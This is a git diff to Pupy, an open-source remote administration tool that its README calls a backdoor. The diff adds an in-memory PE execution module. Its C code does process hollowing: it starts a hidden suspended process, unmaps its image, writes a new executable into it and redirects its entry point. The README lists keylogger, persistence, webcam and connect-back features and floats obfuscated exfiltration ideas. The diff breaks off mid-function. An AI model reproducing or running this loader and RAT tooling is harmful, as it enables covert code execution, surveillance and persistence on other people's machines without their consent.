diff --git a/README.md b/README.md index 39bce10e..c07764c5 100644 --- a/README.md +++ b/README.md @@ -17,12 +17,13 @@ Pupy is an opensource, multi-platform Remote Administration Tool written in Pyth - commands aliases can be defined in the config ## Implemented Modules : -- migrate (windows only) +- migrate - inter process architecture injection also works (x86->x64 and x64->x86) -- keylogger (windows only) -- persistence (windows only) -- screenshot (windows only) -- webcam snapshot (windows only) +- keylogger +- persistence +- screenshot +- webcam snapshot +- in memory execution of PE exe both x86 and x64 :) - command execution - download - upload @@ -77,6 +78,8 @@ python reverse_ssl.py 192.168.0.1:443 ![screenshot7](https://github.com/n1nj4sec/pupy/raw/master/docs/screenshots/interactive_shell.png "screenshot7") #####interactive python shell ![screenshot8](https://github.com/n1nj4sec/pupy/raw/master/docs/screenshots/pyshell.png "screenshot8") +#####upload and run another PE exe from memory +![screenshot9](https://github.com/n1nj4sec/pupy/raw/master/docs/screenshots/memory_exec.png "screenshot9") ##Example: How to write a MsgBox module first of all write the function/class you want to import on the remote client @@ -121,14 +124,24 @@ Some ideas without any priority order - add offline options to payloads like enable/disable certificate checking, embed offline modules (persistence, keylogger, ...), etc... - integrate scapy in the windows dll :D (that would be fun) - work on stealthiness and modules under unix systems -- webcam snap - mic recording - socks5 udp support - remote port forwarding - perhaps write some documentation +- The backdoor factory ? +- Impacket ? +- exfiltration through obfsproxy obfuscated network stream ? - ... - any cool idea ? +## FAQ +> Does the server works on windows ? +Yes but it has not really been tested and it may be unstable +> I can't install it how does it work ? +pip install rpyc +> hey c4n y0u add a DDOS module plzz? +No. + ## Contact by mail: contact@n1nj4.eu on Twitter: [Follow me on twitter](https://twitter.com/n1nj4sec) diff --git a/client/sources/pupy.c b/client/sources/pupy.c index 243d0e8b..dcbc09be 100644 --- a/client/sources/pupy.c +++ b/client/sources/pupy.c @@ -1,18 +1,6 @@ /* -# -------------------------------------------------------------- -# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE -# -------------------------------------------------------------- + For the pupy_builtins compiled into pupy exe and reflective DLL stubs we need "Python-dynload.h". + For the standalone .pyd we need */ #include "Python-dynload.h" @@ -24,9 +12,9 @@ static char module_doc[] = "Builtins utilities for pupy"; extern const char resources_library_compressed_string_txt_start[]; extern const int resources_library_compressed_string_txt_size; #ifndef STANDALONE - extern char connect_back_host[100]; +extern char connect_back_host[100]; #else - char connect_back_host[100] = "0.0.0.0:443"; +char connect_back_host[100] = "0.0.0.0:443"; #endif extern const DWORD dwPupyArch; static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args) @@ -59,21 +47,16 @@ Py_reflective_inject_dll(PyObject *self, PyObject *args) const char *cpCommandLine; PyObject* py_is64bit; int is64bits; - if (!PyArg_ParseTuple(args, "Is#O", &dwPid, &lpDllBuffer, &dwDllLenght, &py_is64bit)) return NULL; - is64bits = PyObject_IsTrue(py_is64bit); - - if(is64bits) + if(is64bits){ is64bits=PROCESS_ARCH_X64; - else + }else{ is64bits=PROCESS_ARCH_X86; - - + } if(inject_dll( dwPid, lpDllBuffer, dwDllLenght, NULL, is64bits) != ERROR_SUCCESS) return NULL; - return PyBool_FromLong(1); } diff --git a/client/sources/pupy_load.c b/client/sources/pupy_load.c index 3a9877a3..4ac939e8 100644 --- a/client/sources/pupy_load.c +++ b/client/sources/pupy_load.c @@ -1,19 +1,3 @@ -/* -# -------------------------------------------------------------- -# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE -# -------------------------------------------------------------- -*/ #define QUIET // uncomment to avoid debug prints #include #include @@ -62,6 +46,15 @@ DWORD WINAPI mainThread(LPVOID lpArg) char tmp_manifest_path[MAX_PATH]; char tmp_path[MAX_PATH]; ULONG_PTR cookie = 0; + /* + ACTCTX ctx; + BOOL activated; + HANDLE k32; + HANDLE (WINAPI *CreateActCtx)(PACTCTX pActCtx); + BOOL (WINAPI *ActivateActCtx)(HANDLE hActCtx, ULONG_PTR *lpCookie); + void (WINAPI *AddRefActCtx)(HANDLE hActCtx); + BOOL (WINAPI *DeactivateActCtx)(DWORD dwFlags, ULONG_PTR ulCookie); + */ PyGILState_STATE restore_state; if(!GetModuleHandle("msvcr90.dll")){ @@ -78,6 +71,41 @@ DWORD WINAPI mainThread(LPVOID lpArg) GetTempPath(MAX_PATH, tmp_path); //InitializeCriticalSection(&csInit); + /* + k32 = LoadLibrary("kernel32"); + CreateActCtx = (void*)GetProcAddress(k32, "CreateActCtxA"); + ActivateActCtx = (void*)GetProcAddress(k32, "ActivateActCtx"); + AddRefActCtx = (void*)GetProcAddress(k32, "AddRefActCtx"); + DeactivateActCtx = (void*)GetProcAddress(k32, "DeactivateActCtx"); + + + if (!CreateActCtx || !ActivateActCtx) + { + return 0; + } + + ZeroMemory(&ctx, sizeof(ctx)); + ctx.cbSize = sizeof(ACTCTX); + GetTempFileName(tmp_path, "tmp", 0, tmp_manifest_path); + + + f=fopen(tmp_manifest_path,"w"); + fprintf(f,"%s",resource_python_manifest); + fclose(f); + #ifndef QUIET + fprintf(stderr,"manifest written to %s\n",tmp_manifest_path); + #endif + ctx.lpSource = tmp_manifest_path; + + MyActCtx=CreateActCtx(&ctx); + if (MyActCtx != NULL) + { + AddRefActCtx(MyActCtx); + } + #ifndef QUIET + DeleteFile(tmp_manifest_path); + #endif + */ if(!Py_IsInitialized) { @@ -149,6 +177,9 @@ DWORD WINAPI mainThread(LPVOID lpArg) fprintf(stderr,"initpupy()\n"); #endif + //mod = PyImport_ImportModule("sys"); + + //MessageBoxA(0, "hey ! :D", "DLL Message", MB_OK | MB_ICONINFORMATION); /* We execute then in the context of '__main__' */ #ifndef QUIET @@ -178,6 +209,13 @@ DWORD WINAPI mainThread(LPVOID lpArg) //if (PyErr_Occurred()) // PyErr_Print(); Py_Finalize(); + /* + if (!DeactivateActCtx(0, actToken)){ + #ifndef QUIET + fprintf(stderr,"LOADER: Error deactivating context!\n!"); + #endif + } + */ //DeleteCriticalSection(&csInit); return 0; diff --git a/docs/screenshots/memory_exec.png b/docs/screenshots/memory_exec.png new file mode 100644 index 00000000..fd284c84 Binary files /dev/null and b/docs/screenshots/memory_exec.png differ diff --git a/pupy/modules/memory_exec.py b/pupy/modules/memory_exec.py new file mode 100644 index 00000000..e3a2242d --- /dev/null +++ b/pupy/modules/memory_exec.py @@ -0,0 +1,71 @@ +# -*- coding: UTF8 -*- +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- +from pupylib.PupyModule import * + +__class_name__="MemoryExec" + +class MemoryExec(PupyModule): + """ execute a PE executable from memory """ + interactive=1 + def __init__(self, *args, **kwargs): + PupyModule.__init__(self,*args, **kwargs) + self.interrupted=False + self.mp=None + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="msgbox", description=self.__doc__) + self.arg_parser.add_argument('-p', '--process', default='cmd.exe', help='process to start suspended') + self.arg_parser.add_argument('--fork', action='store_true', help='fork and do not wait for the child program. stdout will not be retrieved') + self.arg_parser.add_argument('--interactive', action='store_true', help='interactive with the new process stdin/stdout') + self.arg_parser.add_argument('path', help='path to the exe') + self.arg_parser.add_argument('args', nargs='*', help='optional arguments to pass to the exe') + + @windows_only + def is_compatible(self): + pass + + def interrupt(self): + self.info("interrupting remote process, please wait ...") + if self.mp: + self.mp.close() + res=self.mp.get_stdout() + self.log(res) + + def run(self, args): + if args.interactive: + #TODO + self.error("interactive memory execution has not been implemented yet") + return + wait=True + redirect_stdio=True + if args.fork: + wait=False + redirect_stdio=False + raw_pe=b"" + with open(args.path,'rb') as f: + raw_pe=f.read() + self.client.load_package("pupymemexec") + self.client.load_package("pupwinutils.memexec") + res="" + self.mp=self.client.conn.modules['pupwinutils.memexec'].MemoryPE(raw_pe, args=args.args, hidden=True, redirect_stdio=redirect_stdio) + self.mp.run() + while True: + if self.mp.wait(1): + break + self.mp.close() + res=self.mp.get_stdout() + self.log(res) + + diff --git a/pupy/packages/src/pupymemexec/in-mem-exe.c b/pupy/packages/src/pupymemexec/in-mem-exe.c new file mode 100644 index 00000000..b900b246 --- /dev/null +++ b/pupy/packages/src/pupymemexec/in-mem-exe.c @@ -0,0 +1,296 @@ +/* + * Prototype for in-memory executable execution. + * + * Improvements that need to be made: + * + * - Support passing arguments to the executable + * - General testing with various executables + * + * skape + * mmiller@hick.org + * 05/09/2005 + * + * x64 implementation RageLtMan [at] sempervictus.com + * - original PE based method by steve10120 [at] ic0de.org + */ +//#include "precomp.h" + +#ifndef _WIN32 +typedef ULONG NTSTATUS; +#endif + +typedef enum _PROCESSINFOCLASS +{ + ProcessBasicInformation = 0, +} PROCESSINFOCLASS; + +typedef struct _MINI_PEB +{ + ULONG Flags; + LPVOID Mutant; + LPVOID ImageBaseAddress; +} MINI_PEB, *PMINI_PEB; + +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PMINI_PEB PebBaseAddress; + ULONG AffinityMask; + ULONG BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION; + +BOOL MapNewExecutableRegionInProcess( + IN HANDLE TargetProcessHandle, + IN HANDLE TargetThreadHandle, + IN LPVOID NewExecutableRawImage); + +// +// Maps the contents of the executable image into the new process and unmaps +// the original executable. All necessary fixups are performed to allow the +// transfer of execution control the new executable in a seamless fashion. +// +#ifdef _WIN64 +// +// based on MemExec64 source by steve10120 [at] ic0de.org +// clever method of getting contextinformation for entry point data, x64 doesnt give us ThreadContext.Eax +// adaptation for in-mem-exe.c by RageLtMan +// TODO: add wow64 launcher, add src/target image arch checks +// +BOOL MapNewExecutableRegionInProcess( + IN HANDLE TargetProcessHandle, + IN HANDLE TargetThreadHandle, + IN LPVOID NewExecutableRawImage); + +typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); + +DWORD_PTR Align(DWORD_PTR Value, DWORD_PTR Alignment) +{ + DWORD_PTR dwResult = Value; + + if (Alignment > 0) + { + if ((Value % Alignment) > 0) + dwResult = (Value + Alignment) - (Value % Alignment); + } + return dwResult; +} + +BOOL MapNewExecutableRegionInProcess( + IN HANDLE TargetProcessHandle, + IN HANDLE TargetThreadHandle, + IN LPVOID NewExecutableRawImage) +{ + PROCESS_INFORMATION BasicInformation; + PIMAGE_SECTION_HEADER SectionHeader; + PIMAGE_DOS_HEADER DosHeader; + PIMAGE_NT_HEADERS NtHeader64; + DWORD_PTR dwImageBase; + NtUnmapViewOfSection pNtUnmapViewOfSection; + LPVOID pImageBase; + SIZE_T dwBytesWritten; + SIZE_T dwBytesRead; + int Count; + PCONTEXT ThreadContext; + BOOL Success = FALSE; + + DosHeader = (PIMAGE_DOS_HEADER)NewExecutableRawImage; + if (DosHeader->e_magic == IMAGE_DOS_SIGNATURE) + { + NtHeader64 = (PIMAGE_NT_HEADERS64)((DWORD)NewExecutableRawImage + DosHeader->e_lfanew); + if (NtHeader64->Signature == IMAGE_NT_SIGNATURE) + { + RtlZeroMemory(&BasicInformation, sizeof(PROCESS_INFORMATION)); + ThreadContext = (PCONTEXT)VirtualAlloc(NULL, sizeof(ThreadContext) + 4, MEM_COMMIT, PAGE_READWRITE); + ThreadContext = (PCONTEXT)Align((DWORD)ThreadContext, 4); + ThreadContext->ContextFlags = CONTEXT_FULL; + if (GetThreadContext(TargetThreadHandle, ThreadContext)) //used to be LPCONTEXT(ThreadContext) + { + ReadProcessMemory(TargetProcessHandle, (LPCVOID)(ThreadContext->Rdx + 16), &dwImageBase, sizeof(DWORD_PTR), &dwBytesRead); + + pNtUnmapViewOfSection = (NtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"); + if (pNtUnmapViewOfSection) + pNtUnmapViewOfSection(TargetProcessHandle, (PVOID)dwImageBase); + + pImageBase = VirtualAllocEx(TargetProcessHandle, (LPVOID)NtHeader64->OptionalHeader.ImageBase, NtHeader64->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); + if (pImageBase) + { + WriteProcessMemory(TargetProcessHandle, pImageBase, (LPCVOID)NewExecutableRawImage, NtHeader64->OptionalHeader.SizeOfHeaders, &dwBytesWritten); + SectionHeader = IMAGE_FIRST_SECTION(NtHeader64); + for (Count = 0; Count < NtHeader64->FileHeader.NumberOfSections; Count++) + { + WriteProcessMemory(TargetProcessHandle, (LPVOID)((DWORD_PTR)pImageBase + SectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)NewExecutableRawImage + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, &dwBytesWritten); + SectionHeader++; + } + WriteProcessMemory(TargetProcessHandle, (LPVOID)(ThreadContext->Rdx + 16), (LPVOID)&NtHeader64->OptionalHeader.ImageBase, sizeof(DWORD_PTR), &dwBytesWritten); + ThreadContext->Rcx = (DWORD_PTR)pImageBase + NtHeader64->OptionalHeader.AddressOfEntryPoint; + SetThreadContext(TargetThreadHandle, (LPCONTEXT)ThreadContext); + ResumeThread(TargetThreadHandle); + Success = TRUE; + } + else + TerminateProcess(TargetProcessHandle, 0); + //VirtualFree(ThreadContext, 0, MEM_RELEASE); + } + } + } + + return Success; +} + +#else +BOOL MapNewExecutableRegionInProcess( + IN HANDLE TargetProcessHandle, + IN HANDLE TargetThreadHandle, + IN LPVOID NewExecutableRawImage) +{ + PROCESS_BASIC_INFORMATION BasicInformation; + PIMAGE_SECTION_HEADER SectionHeader; + PIMAGE_DOS_HEADER DosHeader; + PIMAGE_NT_HEADERS NtHeader; + PMINI_PEB ProcessPeb; + NTSTATUS (NTAPI *NtUnmapViewOfSection)(HANDLE, LPVOID) = NULL; + NTSTATUS (NTAPI *NtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG) = NULL; + NTSTATUS Status; + CONTEXT ThreadContext; + LPVOID OldEntryPoint = NULL; + LPVOID TargetImageBase = NULL; + ULONG SectionIndex = 0; + ULONG SizeOfBasicInformation; + BOOL Success = FALSE; + + + // + // Error checking? Bah. + // + DosHeader = (PIMAGE_DOS_HEADER)NewExecutableRawImage; + NtHeader = (PIMAGE_NT_HEADERS)((PCHAR)NewExecutableRawImage + DosHeader->e_lfanew); + + do + { + // + // Get the old entry point address by inspecting eax of the current + // thread (which should be BaseProcessStart). Eax holds the address + // of the entry point for the executable when the process is created + // suspended. + // + ZeroMemory( + &ThreadContext, + sizeof(ThreadContext)); + + ThreadContext.ContextFlags = CONTEXT_INTEGER; + + if (!GetThreadContext( + TargetThreadHandle, + &ThreadContext)) + { + break; + } + + OldEntryPoint = (LPVOID) NtHeader->OptionalHeader.ImageBase; + + // + // Unmap the old executable region in the child process to avoid + // conflicts + // + NtUnmapViewOfSection = (NTSTATUS (NTAPI *)(HANDLE, LPVOID))GetProcAddress( + GetModuleHandle( + TEXT("NTDLL")), + "NtUnmapViewOfSection"); + + NtUnmapViewOfSection(TargetProcessHandle, OldEntryPoint); + + // + // Change the entry point address to the new executable's entry point + // + ThreadContext.Eax = NtHeader->OptionalHeader.AddressOfEntryPoint + + NtHeader->OptionalHeader.ImageBase; + + if (!SetThreadContext( + TargetThreadHandle, + &ThreadContext)) + break; + + // + // Allocate storage for the new executable in the child process + // + if (!(TargetImageBase = VirtualAllocEx( + TargetProcessHandle, + (LPVOID)NtHeader->OptionalHeader.ImageBase, + NtHeader->OptionalHeader.SizeOfImage, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE))) + break; + + // + // Update the executable's image base address in the PEB... + // + NtQueryInformationProcess = (NTSTATUS (NTAPI *)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG))GetProcAddress( + GetModuleHandle( + TEXT("NTDLL")), + "NtQueryInformationProcess"); + + if (NtQueryInformationProcess( + TargetProcessHandle, + ProcessBasicInformation, + &BasicInformation, + sizeof(BasicInformation), + &SizeOfBasicInformation) != ERROR_SUCCESS) + break; + + ProcessPeb = BasicInformation.PebBaseAddress; + + if (!WriteProcessMemory( + TargetProcessHandle, + (LPVOID)&ProcessPeb->ImageBaseAddress, + (LPVOID)&NtHeader->OptionalHeader.ImageBase, + sizeof(LPVOID), + NULL)) + break; + + // + // Copy the image headers and all of the section contents + // + if (!WriteProcessMemory( + TargetProcessHandle, + TargetImageBase, + NewExecutableRawImage, + NtHeader->OptionalHeader.SizeOfHeaders, + NULL)) + break; + + Success = TRUE; + for (SectionIndex = 0, + SectionHeader = IMAGE_FIRST_SECTION(NtHeader); + SectionIndex < NtHeader->FileHeader.NumberOfSections; + SectionIndex++) + { + // + // Skip uninitialized data + // + if ((!SectionHeader[SectionIndex].SizeOfRawData) || + (SectionHeader[SectionIndex].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)) + continue; + + if (!WriteProcessMemory( + TargetProcessHandle, + (LPVOID)((PCHAR)TargetImageBase + + SectionHeader[SectionIndex].VirtualAddress), + (LPVOID)((PCHAR)NewExecutableRawImage + + SectionHeader[SectionIndex].PointerToRawData), + SectionHeader[SectionIndex].SizeOfRawData, + NULL)) + { + Success = FALSE; + break; + } + } + + } while (0); + + return Success; +} + +#endif /* _WIN64 */ + diff --git a/pupy/packages/src/pupymemexec/make.bat b/pupy/packages/src/pupymemexec/make.bat new file mode 100644 index 00000000..a61caf61 --- /dev/null +++ b/pupy/packages/src/pupymemexec/make.bat @@ -0,0 +1 @@ +cl.exe pupymemexec.c /LD /D_WIN32 /IC:\Python27\include C:\Python27\libs\python27.lib /Fepupymemexec.pyd diff --git a/pupy/packages/src/pupymemexec/makex64.bat b/pupy/packages/src/pupymemexec/makex64.bat new file mode 100644 index 00000000..e6d8ee0f --- /dev/null +++ b/pupy/packages/src/pupymemexec/makex64.bat @@ -0,0 +1 @@ +cl.exe pupymemexec.c /LD /D_WIN64 /IC:\Python27\include C:\Python27\libs\python27.lib /Fepupymemexec.pyd diff --git a/pupy/packages/src/pupymemexec/pupymemexec.c b/pupy/packages/src/pupymemexec/pupymemexec.c new file mode 100644 index 00000000..0f2209dd --- /dev/null +++ b/pupy/packages/src/pupymemexec/pupymemexec.c @@ -0,0 +1,91 @@ +/* +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- +*/ + +#include +#include +#include +#include "in-mem-exe.c" +static char module_doc[] = "pupymemexec allows pupy to execute PE executables from memory !"; + +static PyObject *Py_run_pe_from_memory(PyObject *self, PyObject *args) +{ + PROCESS_INFORMATION pi; + STARTUPINFO si; + SECURITY_ATTRIBUTES saAttr={ sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; + HANDLE g_hChildStd_IN_Rd = NULL; + HANDLE g_hChildStd_IN_Wr = NULL; + HANDLE g_hChildStd_OUT_Rd = NULL; + HANDLE g_hChildStd_OUT_Wr = NULL; + BOOL inherit=FALSE; + PyObject* py_redirect_stdio=Py_False; + PyObject* py_hidden=Py_True; + DWORD createFlags=CREATE_SUSPENDED|CREATE_NEW_CONSOLE; + char *cmd_line; + char *pe_raw_bytes; + int pe_raw_bytes_len; + + if (!PyArg_ParseTuple(args, "ss#|OO", &cmd_line, &pe_raw_bytes, &pe_raw_bytes_len, &py_redirect_stdio, &py_hidden)) + return NULL; + + memset(&si,0,sizeof(STARTUPINFO)); + memset(&pi,0,sizeof(PROCESS_INFORMATION)); + si.cb = sizeof(STARTUPINFO); + if(PyObject_IsTrue(py_hidden)){ + si.dwFlags |= STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + createFlags |= CREATE_NO_WINDOW; + } + if(PyObject_IsTrue(py_redirect_stdio)){ + if(!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0) | !CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)){ + return PyErr_Format(PyExc_Exception, "Error in CreatePipe: Errno %d", GetLastError()); + } + //if (! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0)) + // return PyErr_SetFromWindowsErr(0); + //if (! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) + // return PyErr_SetFromWindowsErr(0); + si.hStdInput = g_hChildStd_IN_Rd; + si.hStdOutput = g_hChildStd_OUT_Wr; + si.hStdError = g_hChildStd_OUT_Wr; + si.dwFlags |= STARTF_USESTDHANDLES; + inherit=TRUE; + } + + if(!CreateProcess(NULL, cmd_line, &saAttr, NULL, inherit, createFlags, NULL, NULL, &si, &pi)){ + return PyErr_Format(PyExc_Exception, "Error in CreateProcess: Errno %d", GetLastError()); + } + if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, pe_raw_bytes)){ + return PyErr_Format(PyExc_Exception, "Error in MapNewExecutableRegionInProcess: Errno %d", GetLastError()); + } + + if (ResumeThread(pi.hThread) == (DWORD)-1){ + return PyErr_Format(PyExc_Exception, "Error in ResumeThread: Errno %d", GetLastError()); + } + + return Py_BuildValue("(IIIII)", pi.hProcess, g_hChildStd_IN_Wr, g_hChildStd_OUT_Rd, g_hChildStd_IN_Rd, g_hChildStd_OUT_Wr); +} + +static PyMethodDef methods[] = { + { "run_pe_from_memory", Py_run_pe_from_memory, METH_VARARGS|METH_KEYWORDS, "run_pe_from_memory(cmdline, raw_pe, redirected_stdio=True, hidden=True)" }, + { NULL, NULL }, +}; + +DL_EXPORT(void) +initpupymemexec(void) +{ + Py_InitModule3("pupymemexec", methods, module_doc); +} + diff --git a/pupy/packages/windows/all/pupwinutils/memexec.py b/pupy/packages/windows/all/pupwinutils/memexec.py new file mode 100644 index 00000000..04d74651 --- /dev/null +++ b/pupy/packages/windows/all/pupwinutils/memexec.py @@ -0,0 +1,102 @@ +# -*- coding: UTF8 -*- +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- +import sys +import pupymemexec +import time +import os +import ctypes +from ctypes.wintypes import DWORD +import traceback +import time + +WAIT_TIMEOUT=0x00000102 + +def ReadFile(handle, desired_bytes, ol = None): + c_read = DWORD() + buffer = ctypes.create_string_buffer(desired_bytes+1) + success = ctypes.windll.kernel32.ReadFile(handle, buffer, desired_bytes, ctypes.byref(c_read), ol) + if not success: + last_error=ctypes.windll.kernel32.GetLastError() + if last_error==0x6D:#ERROR_BROKEN_PIPE + return "" + raise WindowsError("ReadFile failed Errno: 0x%x"%last_error) + buffer[c_read.value] = '\x00' + return 